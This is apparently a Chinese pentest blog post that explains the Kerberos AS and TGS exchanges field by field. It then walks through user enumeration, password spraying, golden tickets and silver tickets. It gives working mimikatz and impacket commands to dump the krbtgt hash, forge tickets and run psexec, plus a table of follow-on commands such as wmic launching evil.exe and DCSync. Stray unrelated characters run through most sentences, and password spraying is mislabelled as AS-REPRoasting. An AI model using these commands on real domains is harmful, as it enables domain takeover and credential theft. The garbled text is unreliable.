1.什么是kerbeos
Kerberos 由以下三部分組成:客戶機(jī)琉雳、服務(wù)器以及可信的第三方(稱為 Kerberos 密鑰分發(fā)中心,KDC)友瘤。KDC 提供認(rèn)證和憑單授予服務(wù)翠肘。
KDC 為其領(lǐng)域中所有安全性主體維護(hù)用戶帳戶的數(shù)據(jù)庫或存儲庫。大量 Kerberos 分發(fā)操作對 Kerberos 主體和策略 DB 使用基于文件的存儲庫辫秧,其他分發(fā)操作使用輕量級目錄訪問協(xié)議 (LDAP) 作為存儲庫束倍。
Kerberos 不支持任何概念的組(即,iKey 組或者用戶或主體組)盟戏。KDC 為其帳戶數(shù)據(jù)庫中每個(gè)主體維護(hù)長期密鑰绪妹。此長期密鑰派生自該主體的密碼。僅該主體表示的 KDC 和用戶應(yīng)該知道該長期密鑰或密碼的內(nèi)容柿究。
kerberos的簡化認(rèn)證認(rèn)證過程:
圖示詳解:
- AS_REQ: Client向KDC發(fā)起AS_REQ,請求憑據(jù)是Client hash加密的時(shí)間戳
- AS_REP: KDC使用Client hash進(jìn)行解密邮旷,如果結(jié)果正確就返回用krbtgt hash加密的TGT票據(jù),TGT里面包含PAC,PAC包含Client的sid蝇摸,Client所在的組婶肩。
- TGS_REQ: Client憑借TGT票據(jù)向KDC發(fā)起針對特定服務(wù)的TGS_REQ請求
- TGS_REP: KDC使用krbtgt hash進(jìn)行解密,如果結(jié)果正確貌夕,就返回用服務(wù)hash 加密的TGS票據(jù)(這一步不管用戶有沒有訪問服務(wù)的權(quán)限律歼,只要TGT正確,就返回TGS票據(jù))
- AP_REQ: Client拿著TGS票據(jù)去請求服務(wù)
- AP_REP: 服務(wù)使用自己的hash解密TGS票據(jù)啡专。如果解密正確险毁,就拿著PAC去KDC那邊問Client有沒有訪問權(quán)限,域控解密PAC。獲取Client的sid畔况,以及所在的組鲸鹦,再根據(jù)該服務(wù)的ACL,判斷Client是否有訪問服務(wù)的權(quán)限问窃。
2.AS_REQ & AS_REP
這里利用的是daiker大佬的工具
2.1.AS_REQ
用戶向KDC發(fā)起AS_REQ亥鬓,請求憑據(jù)是用戶hash加密的時(shí)間戳。請求憑據(jù)放在PA_DATA里面域庇。
這里解釋一下AS_REQ中的各個(gè)字段
2.1.1.pvno
kerberos 版本號
2.1.2.msg-type
Kerberos類型 0x0a對應(yīng)krb-as-req
2.1.3.padata
padata 存放了PA-ENC-TIMESTAMP和PA-PAC-REQUEST
PA-ENC-TIMESTAMP是預(yù)認(rèn)證嵌戈,使用用戶hash加密時(shí)間戳,作為value 發(fā)送給AS服務(wù)器听皿。如果可以解密成功熟呛,且時(shí)間戳在一定的范圍內(nèi),則認(rèn)證通過
PA-PAC-REQUEST是微軟引入的PAC拓展尉姨,PAC本身并不在kerberos里面庵朝,include-pac=true,KDC會根據(jù)include的值來判斷返回的票據(jù)中是否攜帶PAC又厉。
2.1.4.REQ_BODY
-
cname&sname
在AS_REQ里面cname 是請求的用戶九府,這個(gè)用戶名存在和不存在,返回的包有差異覆致,可以用于枚舉域內(nèi)用戶名侄旬。在AS_REQ里面sname是krbtgt,類型是KRB_NT_SRV_INST
-
realm
域名
-
from&till
from為發(fā)送時(shí)間煌妈,till為結(jié)束時(shí)間儡羔,值得注意的是rubeus和kekeo都是20370913024805Z,這個(gè)可以作為特征來檢測某些工具璧诵。
image-20220315141039739.png
-
etype
加密類型
2.2.AS_REP
KDC使用用戶 hash進(jìn)行解密汰蜘,如果結(jié)果正確返回用krbtgt hash加密的TGT票據(jù),TGT里面包含PAC之宿,PAC包含用戶的sid族操,用戶所在的組。
2.2.1.msg-type
AS_REQ的響應(yīng)body對應(yīng)的就是KRB_AS_REP(0x0b)
2.2.2.crealm
域名
2.2.3.cname
用戶名以及用戶類型
2.2.4.ticket
這個(gè)ticket用于TGS_REQ的認(rèn)證澈缺,是被加密的坪创,用戶不可讀取里面的內(nèi)容。在AS_REQ請求里面姐赡,是使用krbtgt的hash進(jìn)行加密的莱预,因此如果我們擁有krbtgt的hash就可以自己制作一個(gè)ticket,既黃金票據(jù)项滑。
2.2.5.enc_part
Enc_part是可以解密的依沮,key是用戶hash,解密后得到Encryptionkey,Encryptionkey里面最重要的字段是session key危喉,也就是下圖中的keyvalue部分宋渔,改部分作為下階段的認(rèn)證密鑰。
3.存在的問題
3.1.用戶枚舉
用戶存在但密碼錯(cuò)誤時(shí):
用戶不存在時(shí):
這個(gè)其實(shí)很好理解辜限,在我們沒有域用戶的情況下皇拣,可以通過修改cname進(jìn)行用戶枚舉,如果有域用戶薄嫡,那么直接通過LDAP查詢活動目錄即可氧急,如果我們的權(quán)限是system的話,那么他的也是可以直接通過LDAP查詢活動目錄的毫深,而此時(shí)的憑證信息吩坝,就是這臺機(jī)器的機(jī)器用戶,也就是機(jī)器名加$
3.2.AS-REPRoasting
默認(rèn)情況下哑蔫,域賬戶的登錄錯(cuò)誤次數(shù)是有限的钉寝,那么我們可以通過“密碼噴灑(Password Spraying)”的形式去擴(kuò)大成果。具體實(shí)現(xiàn)很容易闸迷,用同一額帶有密碼強(qiáng)度的弱口令去跑用戶名嵌纲。
3.3.黃金票據(jù)
在AS_REP里面的ticket的encpart是使用krbtgt的hash進(jìn)行加密的,如果我們擁有krbtgt的hash腥沽,就可以給我們自己簽發(fā)任意用戶的TGT票據(jù)疹瘦,這個(gè)票據(jù)也被稱為黃金票據(jù)。一般用于拿下域權(quán)限后的權(quán)限維持巡球,只要管理員不修改 krbtgt
的密碼,則可以隨時(shí)制造 TGT
進(jìn)入邓嘹。
工具(僅列出了與金票相關(guān)的命令):
- 使用
mimikatz
制作金票
# Get info - Mimikatz
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /user:krbtgt
mimikatz # lsadump::lsa /inject /name:krbtgt
# Forge a Golden ticket - Mimikatz
mimikatz # kerberos::purge // 清除票據(jù)
mimikatz # kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
mimikatz # kerberos::tgt
/admin 偽造的用戶名
/domain 域名稱
/sid 域SID
/krbtgt krbtgt的HASH值
/ticket 生成的票據(jù)名稱
mimikatz # kerberos::ptt ticket.kirbi // 導(dǎo)入票據(jù)
cmd > klist // 查看當(dāng)前有的票據(jù)
cmd > klist purge // 清除所有票據(jù)
- 使用
impacket
套件制作金票
首先 secretsdump.py
獲取 krbtgt
hash酣栈。
secretsdump.py domain/username@targetName -just-dc-user krbtgt
使用 lookupsid.py
查看 域 SID
⌒谘海或者 whoami /all
等方式自行截取矿筝。
lookupsid.py domain/username:password@targetName -domain-sids
在 linux 上使用票據(jù),用 impacket
中的 ticketer.py
來制作棚贾。需要注意的是用 mimikatz
窖维,kekeo
,rubeus
生成的憑據(jù)是以 .kirbi
后綴的妙痹。impacket
生成的憑據(jù)的后綴是 .ccache
铸史。如果需要在 linux
上使用票據(jù),則需要轉(zhuǎn)為.ccache
格式
# Convert the ticket kirbi to ccache with kekeo
mimikatz > misc::convert ccache ticket.kirbi
# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
用 ticketConverter.py
轉(zhuǎn)換兩種格式
python ticketConverter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
python ticketConverter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
4.TGS_REQ & TGS_REP
在TGS_REQ & TGS_REP階段怯伊,用戶通過AS_REP拿到的TGT票據(jù)琳轿,去向KDC申請?zhí)囟ǚ?wù)的訪問權(quán)限,KDC校驗(yàn)TGT票據(jù),如果校驗(yàn)通過的話崭篡,會向用戶發(fā)送一個(gè)TGS票據(jù)挪哄,之后用戶再拿著TGS去訪問特定的服務(wù)。TGS_REQ這個(gè)階段不需要賬號密碼琉闪,需要AS_REP獲取到的TGT憑據(jù)迹炼。
4.1.TGS_REQ
在TGS_REQ請求中需要ap-req字段,這部分包含了tgt里的信息颠毙,kdc以此校驗(yàn)tgt斯入,正確則返回tgs票據(jù)。
4.1.1.PA-DATA
正常的TGS_REQ的請求需要用到的吟秩,具體內(nèi)容梗概:
-
AP_REQ
這個(gè)是TGS_REQ必須攜帶的部分咱扣,從AS_REP階段獲取到的TGT票據(jù)就這個(gè)結(jié)構(gòu)體里面。KDC會校驗(yàn)TGT票據(jù)涵防,如果票據(jù)正確闹伪,就返回對應(yīng)服務(wù)的TGS票據(jù)。
image-20220316091443768.png
PA_FOR_USER
類型是S4U2SELF壮池,值是一個(gè)唯一的標(biāo)識符偏瓤,該標(biāo)識符指示用戶的身份。該唯一標(biāo)識符由用戶名和域名組成椰憋。
S4U2proxy 必須擴(kuò)展PA_FOR_USER結(jié)構(gòu)厅克,指定服務(wù)代表某個(gè)用戶(圖片里面是administrator)去請求針對服務(wù)自身的kerberos服務(wù)票據(jù)。
PA_PAC_OPTIONS
微軟的MS-SFU 2.2.5橙依, S4U2proxy 必須擴(kuò)展PA-PAC-OPTIONS結(jié)構(gòu)证舟。
如果是基于資源的約束委派,就需要指定Resource-based Constrained Delegation位窗骑。
4.1.2.REQ_BODY
-
sname
這里指定要訪問的具體服務(wù)名稱女责,TGS_REP獲得的ticket是用該服務(wù)用戶的hash進(jìn)行加密的。如果指定的服務(wù)是krbtgt创译,那么拿到的TGS票據(jù)是可以當(dāng)做TGT票據(jù)用的抵知。
image-20220316092704263.png AddtionTicket
附加票據(jù),在S4U2proxy請求里面软族,既需要正常的TGT刷喜,也需要S4U2self階段獲取到的TGS,那么這個(gè)TGS就添加到AddtionTicket里面立砸。
4.2.TGS_REP
Kdc校驗(yàn)用戶提交的TGT為正確后掖疮,會返回對應(yīng)服務(wù)的tgs票據(jù),用來進(jìn)行下一步的AP_REQ認(rèn)證
4.2.1.ticket
這個(gè)ticket用于AP_REQ的認(rèn)證颗祝。其中里面的enc_part是加密的氮墨,用戶不可讀取里面的內(nèi)容纺蛆。在AS_REQ請求里面是,enc_part是使用krbtgt的hash進(jìn)行加密的规揪,而在TGS_REQ里面是使用要請求的服務(wù)的hash加密的桥氏。因此如果我們擁有服務(wù)的hash就可以自己制作一個(gè)ticket,既白銀票據(jù)猛铅。
4.2.2.enc-part
這部分是可以解密的字支,key是上一輪AS_REP里面返回的session_key,也就是導(dǎo)入憑據(jù)里面的 session_key奸忽,解密后得到encryptionkey堕伪,encryptionkey這個(gè)結(jié)構(gòu)里面最重要的字段也是session_key(但是這個(gè)session_key 不同于上一輪里面的session_key),用來作為作為下階段的認(rèn)證密鑰栗菜。
5.存在的問題
5.1.pass the ticket
Kerbreos認(rèn)證中除了第一步AS_ERQ是使用用戶的hash加密時(shí)間戳進(jìn)行認(rèn)證的方式外欠雌,其他的驗(yàn)證過程都是通過票據(jù)來實(shí)現(xiàn),不同的是不同階段對應(yīng)的票據(jù)不同罷了疙筹。因?yàn)槠睋?jù)里面的內(nèi)容主要是session_key和ticket(使用服務(wù)hash加密的富俄,服務(wù)包括krbtgt),拿到票據(jù)之后而咆,可以用這個(gè)票據(jù)來作為下階段的驗(yàn)證了霍比。
5.2.白銀票據(jù)
在TGS_REP里面的ticket的encpart是使用服務(wù)的hash進(jìn)行加密的,如果我們擁有服務(wù)的hash暴备,就可以給我們自己簽發(fā)任意用戶的TGS票據(jù)悠瞬,這個(gè)票據(jù)也被稱為白銀票據(jù)。需要注意的是白銀票票據(jù)只能訪問特定服務(wù)涯捻。如果將目標(biāo)主機(jī)配置為驗(yàn)證 KDC的PAC簽名浅妆,則銀票將不起作用。優(yōu)勢是制作白銀票據(jù)不需要再和域控交互障癌,不會再域控上留下相關(guān)日志狂打。
白銀票據(jù)的申請需要目標(biāo)服務(wù)密碼 或 NTLM hash
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi
root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
對應(yīng)服務(wù)所需要的票據(jù)類型如下:
Service Type | Service Silver Tickets | Attack |
---|---|---|
WMI | HOST + RPCSS | wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe" |
PowerShell Remoting | HTTP + wsman | New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC |
WinRM | HTTP + wsman | New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC |
Scheduled Tasks | HOST | schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1" |
Windows File Share (CIFS) | CIFS | dir \dc01\c$ |
LDAP operations including Mimikatz DCSyncdir \dc01\c$ | LDAP | lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt |
Windows Remote Server Administration Tools | RPCSS + LDAP + CIFS | / |